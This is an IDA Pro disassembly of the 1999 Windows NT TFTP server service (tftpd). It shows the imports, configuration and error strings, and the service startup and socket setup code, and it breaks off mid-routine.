; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 0022C74E8AA96E820E0D278A3510739C ; File Name : u:\work\0022c74e8aa96e820e0d278a3510739c_orig.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 1000000 ; Section 1. (virtual address 00001000) ; Virtual size : 00003400 ( 13312.) ; Section size in file : 00003400 ( 13312.) ; Offset to raw data for section: 00000600 ; Flags F0000040: Data Shareable Executable Readable Writable ; Alignment : default ; ; Imports from ADVAPI32.dll ; include uni.inc ; see unicode subdir of ida for info on unicode .686p .mmx .model flat ; =========================================================================== ; Segment type: Externs ; _idata ; LSTATUS __stdcall RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult) extrn RegOpenKeyExA:dword ; CODE XREF: sub_10037BF+20p ; DATA XREF: sub_10037BF+20r ; BOOL __stdcall StartServiceCtrlDispatcherA(const SERVICE_TABLE_ENTRYA *lpServiceStartTable) extrn StartServiceCtrlDispatcherA:dword ; CODE XREF: sub_1001570+DBp ; DATA XREF: sub_1001570+DBr ; LSTATUS __stdcall RegQueryValueExA(HKEY hKey, LPCSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData) extrn RegQueryValueExA:dword ; CODE XREF: sub_10037BF+64p ; sub_10037BF+99p ... ; LSTATUS __stdcall RegCloseKey(HKEY hKey) extrn RegCloseKey:dword ; CODE XREF: sub_10037BF+143p ; DATA XREF: sub_10037BF+143r ; SERVICE_STATUS_HANDLE __stdcall RegisterServiceCtrlHandlerA(LPCSTR lpServiceName, LPHANDLER_FUNCTION lpHandlerProc) extrn RegisterServiceCtrlHandlerA:dword ; CODE XREF: sub_1001665+4Ap ; DATA XREF: sub_1001665+4Ar ; BOOL __stdcall SetServiceStatus(SERVICE_STATUS_HANDLE hServiceStatus, LPSERVICE_STATUS lpServiceStatus) extrn SetServiceStatus:dword ; CODE XREF: sub_1001665+6Ap ; sub_1001665+F7p ... ; ; Imports from KERNEL32.dll ; ; void __stdcall ExitProcess(UINT uExitCode) extrn ExitProcess:dword ; CODE XREF: sub_1001570+EDp ; DATA XREF: sub_1001570+EDr ; DWORD __stdcall ExpandEnvironmentStringsA(LPCSTR lpSrc, LPSTR lpDst, DWORD nSize) extrn ExpandEnvironmentStringsA:dword ; CODE XREF: sub_1003910+34p ; DATA XREF: sub_1003910+34r ; void __stdcall GetLocalTime(LPSYSTEMTIME lpSystemTime) extrn GetLocalTime:dword ; CODE XREF: sub_1002A3D+35p ; DATA XREF: sub_1002A3D+35r ; void __stdcall DeleteCriticalSection(LPCRITICAL_SECTION lpCriticalSection) extrn DeleteCriticalSection:dword ; CODE XREF: sub_1002901+48p ; DATA XREF: sub_1002901+48r ; void __stdcall SetLastError(DWORD dwErrCode) extrn SetLastError:dword ; CODE XREF: sub_10027E1+83p ; sub_1002F31+1C3p ... ; BOOL __stdcall SetEvent(HANDLE hEvent) extrn SetEvent:dword ; CODE XREF: sub_1001E73+36p ; DATA XREF: sub_1001E73+36r ; DWORD __stdcall ResumeThread(HANDLE hThread) extrn ResumeThread:dword ; CODE XREF: HandlerProc+38p ; DATA XREF: HandlerProc+38r ; DWORD __stdcall GetLastError() extrn GetLastError:dword ; CODE XREF: sub_1001570+E5p ; sub_1001665:loc_1001762p ... ; DWORD __stdcall WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds) extrn WaitForSingleObject:dword ; CODE XREF: sub_1001665+210p ; sub_1001A91+1ABp ; DATA XREF: ... ; HANDLE __stdcall CreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCSTR lpName) extrn CreateEventA:dword ; CODE XREF: sub_1001665+7Ep ; sub_1001665+89p ... ; void __stdcall InitializeCriticalSection(LPCRITICAL_SECTION lpCriticalSection) extrn InitializeCriticalSection:dword ; CODE XREF: sub_10018DB+12p ; sub_10018DB+19p ... ; HANDLE __stdcall HeapCreate(DWORD flOptions, SIZE_T dwInitialSize, SIZE_T dwMaximumSize) extrn HeapCreate:dword ; CODE XREF: sub_10019F0+23p ; DATA XREF: sub_10019F0+23r ; void __stdcall LeaveCriticalSection(LPCRITICAL_SECTION lpCriticalSection) extrn LeaveCriticalSection:dword ; CODE XREF: sub_1001A1F+68p ; sub_1001A91+B5p ... ; BOOL __stdcall HeapFree(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem) extrn HeapFree:dword ; CODE XREF: sub_1001A1F+58p ; DATA XREF: sub_1001A1F+58r ; BOOL __stdcall CloseHandle(HANDLE hObject) extrn CloseHandle:dword ; CODE XREF: sub_1001A1F+49p ; sub_1001E73+A9p ... ; void __stdcall EnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection) extrn EnterCriticalSection:dword ; CODE XREF: sub_1001A1F+Bp ; sub_1001A91+4Ep ... ; LONG __stdcall InterlockedIncrement(volatile LONG *lpAddend) extrn InterlockedIncrement:dword ; CODE XREF: sub_1001A91+27Cp ; sub_1001A91+2C1p ; DATA XREF: ... ; DWORD __stdcall WaitForMultipleObjects(DWORD nCount, const HANDLE *lpHandles, BOOL bWaitAll, DWORD dwMilliseconds) extrn WaitForMultipleObjects:dword ; CODE XREF: sub_1001A91+158p ; DATA XREF: sub_1001A91+158r ; LPVOID __stdcall HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes) extrn HeapAlloc:dword ; CODE XREF: sub_1001A91+93p ; DATA XREF: sub_1001A91+93r ; BOOL __stdcall ResetEvent(HANDLE hEvent) extrn ResetEvent:dword ; CODE XREF: sub_1001A91+75p ; DATA XREF: sub_1001A91+75r ; void __stdcall Sleep(DWORD dwMilliseconds) extrn Sleep:dword ; CODE XREF: .text:01001D94p ; sub_100205A+4Ep ; DATA XREF: ... ; BOOL __stdcall TryEnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection) extrn TryEnterCriticalSection:dword ; CODE XREF: .text:01001D89p ; .text:01001D9Bp ; DATA XREF: ... ; DWORD __stdcall SuspendThread(HANDLE hThread) extrn SuspendThread:dword ; CODE XREF: HandlerProc+50p ; DATA XREF: HandlerProc+50r ; ; Imports from MSVCRT.dll ; extrn __imp__initterm:dword ; DATA XREF: _inittermr extrn __getmainargs:dword ; CODE XREF: .text:01003B18p ; DATA XREF: .text:01003B18r extrn __setusermatherr:dword ; CODE XREF: .text:01003AD8p ; DATA XREF: .text:01003AD8r extrn _lseek:dword ; CODE XREF: sub_1002F31+1F0p ; sub_1002F31+20Ap ; DATA XREF: ... extrn _close:dword ; CODE XREF: sub_1002953+11p ; DATA XREF: sub_1002953+11r extrn _read:dword ; CODE XREF: sub_10027E1+63p ; DATA XREF: sub_10027E1+63r ; void *__cdecl malloc(size_t Size) extrn malloc:dword ; CODE XREF: sub_1001FA6+30p ; sub_100205A+93p ... ; void *__cdecl realloc(void *Memory, size_t NewSize) extrn realloc:dword ; CODE XREF: sub_1001FA6+55p ; DATA XREF: sub_1001FA6+55r ; int __cdecl fclose(FILE *File) extrn fclose:dword ; CODE XREF: sub_1001E73+CDp ; DATA XREF: sub_1001E73+CDr ; void __cdecl free(void *Memory) extrn free:dword ; CODE XREF: sub_10018DB+75p ; sub_1001F54+47p ... ; time_t __cdecl time(time_t *Time) extrn time:dword ; CODE XREF: sub_1001665+114p ; HandlerProc+8p ; DATA XREF: ... extrn _chdir:dword ; CODE XREF: sub_1001665+19Fp ; sub_1001665+1BEp ; DATA XREF: ... ; int *__cdecl errno() extrn _errno:dword ; CODE XREF: sub_1001665+1A7p ; sub_10027E1+7Dp ... extrn _mkdir:dword ; CODE XREF: sub_1001665+1AEp ; DATA XREF: sub_1001665+1AEr ; FILE *__cdecl fopen(const char *Filename, const char *Mode) extrn fopen:dword ; CODE XREF: sub_1001665+1DBp ; DATA XREF: sub_1001665+1DBr ; char *__cdecl ctime(const time_t *Time) extrn ctime:dword ; CODE XREF: sub_1001665+1F7p ; HandlerProc+19p ; DATA XREF: ... ; unsigned int __cdecl _controlfp(unsigned int NewValue, unsigned int Mask) extrn __imp__controlfp:dword ; DATA XREF: _controlfpr extrn _except_handler3:dword ; DATA XREF: .text:loc_1003BF0r extrn __set_app_type:dword ; CODE XREF: .text:01003A7Fp ; DATA XREF: .text:01003A7Fr extrn __p__fmode:dword ; CODE XREF: .text:01003A9Cp ; DATA XREF: .text:01003A9Cr extrn __p__commode:dword ; CODE XREF: .text:01003AAAp ; DATA XREF: .text:01003AAAr extrn _adjust_fdiv:dword ; DATA XREF: .text:01003AB8r ; int printf(const char *Format, ...) extrn printf:dword ; CODE XREF: sub_1001570+52p ; sub_1001570+5Fp ... extrn __p___initenv:dword ; CODE XREF: .text:01003B33p ; DATA XREF: .text:01003B33r extrn __imp__XcptFilter:dword ; DATA XREF: _XcptFilterr ; void __cdecl exit(int Code) extrn _exit:dword ; CODE XREF: .text:01003B7Ap ; DATA XREF: .text:01003B7Ar extrn _open:dword ; CODE XREF: sub_1002F31+1A6p ; sub_100333A+1B9p ; DATA XREF: ... extrn _write:dword ; CODE XREF: sub_100373A+5Bp ; DATA XREF: sub_100373A+5Br ; void __cdecl exit(int Code) extrn exit:dword ; CODE XREF: sub_1001570+CFp ; sub_1001665+C0p ... ; ; Imports from WS2_32.dll ; ; SOCKET __stdcall WSASocketA(int af, int type, int protocol, LPWSAPROTOCOL_INFOA lpProtocolInfo, GROUP g, DWORD dwFlags) extrn WSASocketA:dword ; CODE XREF: sub_100205A+17p ; DATA XREF: sub_100205A+17r ; int __stdcall WSAGetLastError() extrn WSAGetLastError:dword ; CODE XREF: sub_1001665+B1p ; sub_1001A91+12Bp ... ; int __stdcall WSAStartup(WORD wVersionRequested, LPWSADATA lpWSAData) extrn WSAStartup:dword ; CODE XREF: sub_1001665+A6p ; DATA XREF: sub_1001665+A6r ; int __stdcall WSAEventSelect(SOCKET s, HANDLE hEventObject, __int32 lNetworkEvents) extrn WSAEventSelect:dword ; CODE XREF: sub_100188E+Cp ; DATA XREF: sub_100188E+Cr ; u_short __stdcall htons(u_short hostshort) extrn htons:dword ; CODE XREF: sub_1001A91+1D2p ; sub_100230A+18p ... ; BOOL __stdcall WSAGetOverlappedResult(SOCKET s, LPWSAOVERLAPPED lpOverlapped, LPDWORD lpcbTransfer, BOOL fWait, LPDWORD lpdwFlags) extrn WSAGetOverlappedResult:dword ; CODE XREF: sub_1001A91+18Ep ; DATA XREF: sub_1001A91+18Er ; u_short __stdcall ntohs(u_short netshort) extrn ntohs:dword ; CODE XREF: sub_1001A91+11Ep ; sub_1002A3D+40p ... ; int __stdcall WSARecvFrom(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesRecvd, LPDWORD lpFlags, struct sockaddr *lpFrom, LPINT lpFromlen, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine) extrn WSARecvFrom:dword ; CODE XREF: sub_1001A91+10Fp ; DATA XREF: sub_1001A91+10Fr ; int __stdcall ioctlsocket(SOCKET s, __int32 cmd, u_long *argp) extrn ioctlsocket:dword ; CODE XREF: sub_1001A91+2Ap ; DATA XREF: sub_1001A91+2Ar ; BOOL __stdcall WSACloseEvent(HANDLE hEvent) extrn WSACloseEvent:dword ; CODE XREF: sub_1001F54+1Cp ; DATA XREF: sub_1001F54+1Cr ; int __stdcall closesocket(SOCKET s) extrn closesocket:dword ; CODE XREF: sub_1001F54+13p ; sub_100205A+E7p ... ; char *__stdcall inet_ntoa(struct in_addr in) extrn inet_ntoa:dword ; CODE XREF: sub_1002024+4p ; sub_1002F31+64p ... ; int __stdcall bind(SOCKET s, const struct sockaddr *name, int namelen) extrn bind:dword ; CODE XREF: sub_100205A+7Ap ; sub_1002F31+256p ... ; struct servent *__stdcall getservbyname(const char *name, const char *proto) extrn getservbyname:dword ; CODE XREF: sub_100205A+37p ; DATA XREF: sub_100205A+37r ; SOCKET __stdcall socket(int af, int type, int protocol) extrn socket:dword ; CODE XREF: sub_1002F31+22Ep ; sub_100333A+1EBp ; DATA XREF: ... ; int __stdcall sendto(SOCKET s, const char *buf, int len, int flags, const struct sockaddr *to, int tolen) extrn sendto:dword ; CODE XREF: sub_100230A+B6p ; sub_1002A3D+65p ... ; ; Imports from iphlpapi.dll ; ; DWORD __stdcall NotifyAddrChange(PHANDLE Handle, LPOVERLAPPED overlapped) extrn __imp_NotifyAddrChange:dword ; DATA XREF: NotifyAddrChanger ; DWORD __stdcall GetIpAddrTable(PMIB_IPADDRTABLE pIpAddrTable, PULONG pdwSize, BOOL bOrder) extrn __imp_GetIpAddrTable:dword ; DATA XREF: GetIpAddrTabler ; ; Imports from ntdll.dll ; ; void *__cdecl memmove(void *Dst, const void *Src, size_t Size) extrn memmove:dword ; CODE XREF: sub_100273D+72p ; DATA XREF: sub_100273D+72r ; char *__cdecl strncpy(char *Dest, const char *Source, size_t Count) extrn strncpy:dword ; CODE XREF: sub_1003910+24p ; DATA XREF: sub_1003910+24r ; int __cdecl isupper(int C) extrn isupper:dword ; CODE XREF: sub_100333A+86p ; DATA XREF: sub_100333A+86r ; int __cdecl tolower(int C) extrn tolower:dword ; CODE XREF: sub_1002F31+88p ; sub_100333A+95p ; DATA XREF: ... extrn RtlUpdateTimer:dword ; CODE XREF: sub_1002A3D+BCp ; sub_1002B5E+114p ... extrn RtlDeleteTimer:dword ; CODE XREF: sub_1002901+27p ; sub_1002A3D+FDp ... ; int __cdecl stricmp(const char *Str1, const char *Str2) extrn _stricmp:dword ; CODE XREF: sub_10023D8+54p ; sub_10023D8+C6p ... ; int __cdecl atoi(const char *Str) extrn atoi:dword ; CODE XREF: sub_10023D8+81p ; sub_10023D8+F2p ; DATA XREF: ... ; char *__cdecl itoa(int Val, char *DstBuf, int Radix) extrn _itoa:dword ; CODE XREF: sub_10023D8:loc_1002597p ; DATA XREF: sub_10023D8:loc_1002597r extrn RtlDeregisterWaitEx:dword ; CODE XREF: sub_1001F54+Ap ; sub_1002901+35p ; DATA XREF: ... extrn __imp__chkstk:dword ; DATA XREF: _chkstkr extrn RtlCreateTimerQueue:dword ; CODE XREF: sub_10018DB+81p ; DATA XREF: sub_10018DB+81r extrn RtlRegisterWait:dword ; CODE XREF: sub_100188E+40p ; sub_10018DB+D6p ; DATA XREF: ... extrn RtlCreateTimer:dword ; CODE XREF: sub_10018DB+A8p ; sub_1002F31+34Dp ... ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 100117Ch assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dd 2 dup(0) dd 37ECADD7h, 0 dd 4, 110h, 0 dd 4C00h, 0 dd 37ECADD7h, 0 dd 3, 310h, 0 dd 4D10h, 0 dd 37ECADD7h, 0 dd 6, 2 dup(0) dd 5020h, 0 dd 37ECADD7h, 0 dd 2, 1Ah, 0 db 90h db 0FEh, 0A7h, 0FFh aDNtPrivateNetS db 'D:\nt\private\net\sockets\tcpsvcs\tftpd\tftpd.c built Sep 24 1999' db ' 22:17:18',0Ah,0 ; char aOWritableFiles[] aOWritableFiles db ' o writable files keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+C4o ; char aWritable[] aWritable db 'writable',0 ; DATA XREF: sub_1001570+BFo ; sub_10037BF+121o align 4 ; char aOReadableFiles[] aOReadableFiles db ' o Readable files keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+B6o ; char aReadable[] aReadable db 'readable',0 ; DATA XREF: sub_1001570+B1o ; sub_10037BF+F1o align 4 ; char aOValidmastersK[] aOValidmastersK db ' o ValidMasters keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+A8o ; char aMasters[] aMasters db 'masters',0 ; DATA XREF: sub_1001570+A3o ; sub_10037BF+C1o ; char aOValidclientsK[] aOValidclientsK db ' o ValidClients keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+9Ao ; char aClients[] aClients db 'clients',0 ; DATA XREF: sub_1001570+95o ; sub_10037BF+8Eo ; char aTheseKeysAreSh[] aTheseKeysAreSh db 'These keys are shell patterns with * and ? (see examples above):',0Ah ; DATA XREF: sub_1001570+8Do db 0 align 4 ; char aOStartdirector[] aOStartdirector db ' o StartDirectory keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+84o ; char ValueName[] ValueName db 'directory',0 ; DATA XREF: sub_1001570+7Fo ; sub_10037BF+5Co align 4 ; char aRegistryKeyNam[] aRegistryKeyNam db 'Registry key names, all strings: HKEY_LOCAL_MACHINE %s',0Ah,0 ; DATA XREF: sub_1001570+76o ; char SubKey[] SubKey db 'System\CurrentControlSet\Services\tftpd\parameters',0 ; DATA XREF: sub_1001570+71o ; sub_10037BF+13o align 10h ; char aTftpd_logfileI[] aTftpd_logfileI db ' TFTPD_LOGFILE is %s',0Ah ; DATA XREF: sub_1001570+68o db 0Ah,0 align 4 ; char Filename[] Filename db 'tftpd.log',0 ; DATA XREF: sub_1001570+63o ; sub_1001665+1D6o align 4 ; char aTftpd_default_[] aTftpd_default_ db ' TFTPD_DEFAULT_DIR is %s',0Ah,0 ; DATA XREF: sub_1001570+5Ao align 4 ; char Source[] Source db '\tftpdroot\',0 ; DATA XREF: sub_1001570+55o ; sub_1003910+1Eo a? db '-?',0 ; DATA XREF: sub_1001570+10o align 4 ; char Mode[] Mode db 'a+',0 ; DATA XREF: sub_1001665+1D1o align 4 ; char name[] name db 'tftp',0 ; DATA XREF: sub_100205A+31o align 10h ; char proto[] proto db 'udp',0 ; DATA XREF: sub_100205A+2Co aOptionNegotiat db 'Option negotiation failure',0 ; DATA XREF: .data:01005CE0o align 10h aNoSuchUser db 'No such user',0 ; DATA XREF: .data:01005CDCo align 10h aFileAlreadyExi db 'File already exists',0 ; DATA XREF: .data:01005CD8o aUnknownTransfe db 'Unknown transfer ID',0 ; DATA XREF: .data:01005CD4o aIllegalTftpOpe db 'Illegal TFTP operation',0 ; DATA XREF: .data:01005CD0o align 10h aDiskFullOrAllo db 'Disk full or allocation exceeded',0 ; DATA XREF: .data:01005CCCo align 4 aAccessViolatio db 'Access violation',0 ; DATA XREF: .data:01005CC8o align 4 aFileNotFound db 'File not found',0 ; DATA XREF: .data:01005CC4o align 4 aErrorUndefined db 'Error undefined',0 ; DATA XREF: .data:off_1005CC0o ; char aTsize[] aTsize db 'tsize',0 ; DATA XREF: sub_10023D8:loc_100251Ao align 10h ; char aTimeout_0[] aTimeout_0 db 'timeout',0 ; DATA XREF: sub_10023D8:loc_1002498o ; char Str2[] Str2 db 'blksize',0 ; DATA XREF: sub_10023D8+4Eo aTimeout db 'Timeout',0 ; DATA XREF: sub_1002A3D+D2o aInsufficientRe db 'Insufficient resources',0 ; DATA XREF: sub_1002F31:loc_1003197o ; sub_100333A+201o ... align 10h aFileNameTooLon db 'File name too long',0 ; DATA XREF: sub_1002F31+195o ; sub_100333A+1A0o align 4 aMalformedFileN db 'Malformed file name',0 ; DATA XREF: sub_1002F31+139o ; sub_100333A+159o aOctet db 'octet',0 ; DATA XREF: sub_1002F31+D2o ; sub_100333A:loc_100341Fo align 10h aNetascii db 'netascii',0 ; DATA XREF: sub_1002F31+9Fo ; sub_100333A:loc_10033E1o align 4 asc_100155C: ; DATA XREF: sub_1003910+7Fo unicode 0, <\>,0 dword_1001560 dd 0FFFFFFFFh, 1003B5Eh, 1003B73h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_1001570 proc near ; CODE XREF: .text:01003B4Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 1 push esi jle loc_1001646 mov eax, [esp+4+arg_4] mov esi, offset a? ; "-?" mov eax, [eax+4] loc_1001588: ; CODE XREF: sub_1001570+34j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_10015AA test cl, cl jz short loc_10015A6 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_10015AA inc eax inc eax inc esi inc esi test cl, cl jnz short loc_1001588 loc_10015A6: ; CODE XREF: sub_1001570+22j xor eax, eax jmp short loc_10015AF ; --------------------------------------------------------------------------- loc_10015AA: ; CODE XREF: sub_1001570+1Ej ; sub_1001570+2Cj sbb eax, eax sbb eax, 0FFFFFFFFh loc_10015AF: ; CODE XREF: sub_1001570+38j test eax, eax jnz loc_1001646 mov esi, ds:printf push offset Format ; " ======================================"... call esi ; printf pop ecx push offset Source ; "\\tftpdroot\\" push offset aTftpd_default_ ; " TFTPD_DEFAULT_DIR is %s\n" call esi ; printf pop ecx pop ecx push offset Filename ; "tftpd.log" push offset aTftpd_logfileI ; " TFTPD_LOGFILE is %s\n\n" call esi ; printf pop ecx pop ecx push offset SubKey ; "System\\CurrentControlSet\\Services\\tftpd"... push offset aRegistryKeyNam ; "Registry key names, all strings: HKEY_L"... call esi ; printf pop ecx pop ecx push offset ValueName ; "directory" push offset aOStartdirector ; " o StartDirectory keyname \"%s\"\n" call esi ; printf pop ecx pop ecx push offset aTheseKeysAreSh ; "These keys are shell patterns with * an"... call esi ; printf pop ecx push offset aClients ; "clients" push offset aOValidclientsK ; " o ValidClients keyname \"%s\"\n" call esi ; printf pop ecx pop ecx push offset aMasters ; "masters" push offset aOValidmastersK ; " o ValidMasters keyname \"%s\"\n" call esi ; printf pop ecx pop ecx push offset aReadable ; "readable" push offset aOReadableFiles ; " o Readable files keyname \"%s\"\n" call esi ; printf pop ecx pop ecx push offset aWritable ; "writable" push offset aOWritableFiles ; " o writable files keyname \"%s\"\n" call esi ; printf pop ecx pop ecx push 0FFFFFFFFh ; Code call ds:exit ; exit ; --------------------------------------------------------------------------- pop ecx loc_1001646: ; CODE XREF: sub_1001570+6j ; sub_1001570+41j push offset ServiceStartTable ; lpServiceStartTable call ds:StartServiceCtrlDispatcherA ; StartServiceCtrlDispatcherA test eax, eax jnz short loc_100165B call ds:GetLastError loc_100165B: ; CODE XREF: sub_1001570+E3j push 0 ; uExitCode call ds:ExitProcess ; ExitProcess sub_1001570 endp ; --------------------------------------------------------------------------- pop esi retn ; =============== S U B R O U T I N E ======================================= sub_1001665 proc near ; DATA XREF: .data:ServiceStartTableo arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push ebp push esi push edi xor ebp, ebp push offset HandlerProc ; lpHandlerProc push offset ServiceName ; "Tftpd" mov ServiceStatus.dwServiceType, 30h mov ServiceStatus.dwCurrentState, 2 mov ServiceStatus.dwControlsAccepted, ebp mov ServiceStatus.dwCheckPoint, 1 mov ServiceStatus.dwWaitHint, 4E20h mov ServiceStatus.dwWin32ExitCode, ebp mov ServiceStatus.dwServiceSpecificExitCode, ebp call ds:RegisterServiceCtrlHandlerA ; RegisterServiceCtrlHandlerA cmp eax, ebp mov hServiceStatus, eax jz loc_1001762 mov esi, ds:SetServiceStatus mov edi, offset ServiceStatus push edi ; lpServiceStatus push eax ; hServiceStatus call esi ; SetServiceStatus cmp eax, ebp jz loc_1001762 mov ebx, ds:CreateEventA push ebp ; lpName push ebp ; bInitialState push ebp ; bManualReset push ebp ; lpEventAttributes call ebx ; CreateEventA push ebp ; lpName push ebp ; bInitialState push ebp ; bManualReset push ebp ; lpEventAttributes mov hHandle, eax call ebx ; CreateEventA cmp hHandle, ebp mov hObject, eax jz short loc_100171C cmp eax, ebp jz short loc_100171C push offset stru_1006140 ; lpWSAData push 101h ; wVersionRequested call ds:WSAStartup ; WSAStartup cmp eax, 0FFFFFFFFh jnz short loc_1001735 call ds:WSAGetLastError ; WSAGetLastError loc_100171C: ; CODE XREF: sub_1001665+96j ; sub_1001665+9Aj ... push 1Fh call sub_1001E73 push 1 ; Code call ds:exit ; exit ; --------------------------------------------------------------------------- pop ecx loc_100172C: ; CODE XREF: sub_1001665+218j ; sub_1001665+224j pop edi pop esi pop ebp xor eax, eax pop ebx retn 8 ; --------------------------------------------------------------------------- loc_1001735: ; CODE XREF: sub_1001665+AFj push edi ; lpServiceStatus mov ServiceStatus.dwCurrentState, 4 push hServiceStatus ; hServiceStatus mov ServiceStatus.dwControlsAccepted, 7 mov ServiceStatus.dwCheckPoint, ebp mov ServiceStatus.dwWaitHint, ebp call esi ; SetServiceStatus cmp eax, ebp jnz short loc_100176A loc_1001762: ; CODE XREF: sub_1001665+57j ; sub_1001665+6Ej call ds:GetLastError jmp short loc_100171C ; --------------------------------------------------------------------------- loc_100176A: ; CODE XREF: sub_1001665+FBj push 9 pop ecx xor eax, eax mov edx, offset Time mov edi, edx rep stosd push edx ; Time call ds:time ; time pop ecx mov edx, [esp+10h+arg_0] dec edx mov ebx, (offset dword_1005E07+1) jz short loc_10017F3 mov eax, [esp+10h+arg_4] lea eax, [eax+edx*4] mov [esp+10h+arg_0], eax loc_1001797: ; CODE XREF: sub_1001665+18Cj mov eax, [esp+10h+arg_0] mov eax, [eax] cmp byte ptr [eax], 2Dh jnz short loc_10017F3 movsx ecx, byte ptr [eax+1] sub ecx, 64h jz short loc_10017C9 dec ecx jz short loc_10017BD dec ecx jnz short loc_10017E9 mov dword_1005DD8, 1 jmp short loc_10017E9 ; --------------------------------------------------------------------------- loc_10017BD: ; CODE XREF: sub_1001665+147j mov dword_1005DD4, 1 jmp short loc_10017E9 ; --------------------------------------------------------------------------- loc_10017C9: ; CODE XREF: sub_1001665+144j lea edi, [eax+2] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_10017E9: ; CODE XREF: sub_1001665+14Aj ; sub_1001665+156j ... sub [esp+10h+arg_0], 4 dec edx cmp edx, ebp ja short loc_1001797 loc_10017F3: ; CODE XREF: sub_1001665+125j ; sub_1001665+13Bj call sub_10037BF call sub_1003910 mov esi, ds:_chdir push ebx call esi ; _chdir cmp eax, 0FFFFFFFFh pop ecx jnz short loc_100182E call ds:_errno ; _errno push ebx call ds:_mkdir ; _mkdir cmp eax, ebp pop ecx jnz loc_100171C push ebx call esi ; _chdir cmp eax, ebp pop ecx jnz loc_100171C loc_100182E: ; CODE XREF: sub_1001665+1A5j cmp dword_1005DD8, ebp jz short loc_1001857 push offset Mode ; "a+" push offset Filename ; "tftpd.log" call ds:fopen ; fopen pop ecx cmp eax, ebp pop ecx mov File, eax jnz short loc_1001857 mov dword_1005DD8, ebp loc_1001857: ; CODE XREF: sub_1001665+1CFj ; sub_1001665+1EAj push offset Time ; Time call ds:ctime ; ctime pop ecx call sub_10018DB call sub_10019F0 push 0FFFFFFFFh ; dwMilliseconds push hHandle ; hHandle call ds:WaitForSingleObject ; WaitForSingleObject cmp eax, ebp jz loc_100172C call ds:GetLastError jmp loc_100172C sub_1001665 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_100188E(SOCKET s, HANDLE hEventObject, char) sub_100188E proc near ; CODE XREF: sub_100205A+D5p ; sub_1002F31+2A8p ... var_4 = dword ptr -4 s = dword ptr 8 hEventObject = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ecx push 3 ; lNetworkEvents push [ebp+hEventObject] ; hEventObject push [ebp+s] ; s call ds:WSAEventSelect ; WSAEventSelect test eax, eax jz short loc_10018AE call ds:GetLastError xor eax, eax jmp short locret_10018D7 ; --------------------------------------------------------------------------- loc_10018AE: ; CODE XREF: sub_100188E+14j test [ebp+arg_8], 1 push 0 push 0FFFFFFFFh push [ebp+s] jz short loc_10018C2 push offset loc_1001D74 jmp short loc_10018C7 ; --------------------------------------------------------------------------- loc_10018C2: ; CODE XREF: sub_100188E+2Bj push offset loc_1001DDB loc_10018C7: ; CODE XREF: sub_100188E+32j push [ebp+hEventObject] lea eax, [ebp+var_4] push eax call ds:RtlRegisterWait ; RtlRegisterWait mov eax, [ebp+var_4] locret_10018D7: ; CODE XREF: sub_100188E+1Ej leave retn 0Ch sub_100188E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10018DB proc near ; CODE XREF: sub_1001665+1FEp Memory = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi mov esi, ds:InitializeCriticalSection push edi push offset CriticalSection ; lpCriticalSection call esi ; InitializeCriticalSection push offset stru_1006020 ; lpCriticalSection call esi ; InitializeCriticalSection mov eax, offset dword_1006098 mov dword_100609C, eax mov dword_1006098, eax mov eax, offset Memory mov dword_100603C, eax mov Memory, eax lea eax, [ebp+Memory] push eax call sub_1001FA6 xor esi, esi test eax, eax jnz short loc_1001957 mov eax, [ebp+Memory] xor ebx, ebx cmp [eax], esi jbe short loc_100194F xor edi, edi loc_100192E: ; CODE XREF: sub_10018DB+72j mov ecx, [eax+edi+4] cmp ecx, esi jz short loc_1001947 cmp ecx, 100007Fh jz short loc_1001947 push ecx ; in call sub_100205A mov eax, [ebp+Memory] loc_1001947: ; CODE XREF: sub_10018DB+59j ; sub_10018DB+61j inc ebx add edi, 18h cmp ebx, [eax] jb short loc_100192E loc_100194F: ; CODE XREF: sub_10018DB+4Fj push eax ; Memory call ds:free ; free pop ecx loc_1001957: ; CODE XREF: sub_10018DB+46j push offset dword_10060A0 call ds:RtlCreateTimerQueue ; 